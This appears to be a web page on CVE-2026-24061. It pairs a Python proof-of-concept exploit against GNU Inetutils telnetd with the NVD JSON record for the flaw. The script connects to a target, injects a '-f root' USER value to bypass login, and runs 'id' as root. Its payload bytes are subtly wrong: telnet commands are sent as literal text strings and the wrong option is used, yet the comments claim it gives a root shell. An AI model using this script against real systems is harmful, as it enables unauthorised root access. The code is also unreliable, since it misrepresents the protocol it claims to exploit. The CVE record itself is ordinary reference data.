CVE-2026-24061

#!/usr/bin/env python3 # CVE-2026-24061 PoC - GNU Inetutils telnetd Authentication Bypass # This PoC demonstrates the authentication bypass via USER environment variable import socket import sys def exploit_telnet(target_ip, target_port=23): """ Exploit CVE-2026-24061 by sending specially crafted USER environment variable The '-f root' value tricks telnetd into thinking root authentication is bypassed """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Read initial telnet greeting response = sock.recv(1024) print(f"[+] Received: {response.decode('utf-8', errors='ignore')}") # Send the exploit payload # telnet protocol uses IAC commands for option negotiation exploit_payload = b'IAC WILL SGA\r\nIAC DO TTYPE\r\n' sock.send(exploit_payload) # Send specially crafted USER variable with -f root # This bypasses authentication in vulnerable telnetd versions user_payload = b'IAC SB TTYPE TELNET_ENVIRON_VALUE USER\r\n-f root\r\nIAC SE\r\n' sock.send(user_payload) # Send NULL username to trigger login prompt sock.send(b'\r\n') # Receive response response = sock.recv(4096) print(f"[+] Response: {response.decode('utf-8', errors='ignore')}") # If successful, we should have a root shell # Try to execute id command sock.send(b'id\r\n') response = sock.recv(4096) print(f"[+] id command output: {response.decode('utf-8', errors='ignore')}") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print(f"[*] Exploiting CVE-2026-24061 on {target}:{port}") exploit_telnet(target, port)

{"cve": {"id": "CVE-2026-24061", "sourceIdentifier": "[email protected]", "published": "2026-01-21T07:16:01.597", "lastModified": "2026-02-11T15:40:42.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable."}, {"lang": "es", "value": "telnetd en GNU Inetutils a través de 2.7 permite la omisión de autenticación remota a través de un valor '-f root' para la variable de entorno USER."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-26", "cisaActionDue": "2026-02-16", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "GNU InetUtils Argument Injection Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:inetutils:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.3", "versionEndIncluding": "2.7", "matchCriteriaId": "1A15FADC-AD86-4C11-B182-C1AC2D73A3BE"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.gnu.org/software/inetutils/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/01/20/2", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/01/20/8", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2026-24061-detection-script-remote-authentication-bypass-in-gnu-inetutils-package", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2026-24061-mitigation-script-remote-authentication-bypass-in-gnu-inetutils-package", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/22/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00025.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-24061", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}, {"url": "https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/index.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/01/20/2#:~:[email protected]%3A~%20USER='", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Mailing List", "Third Party Advisory"]}]}}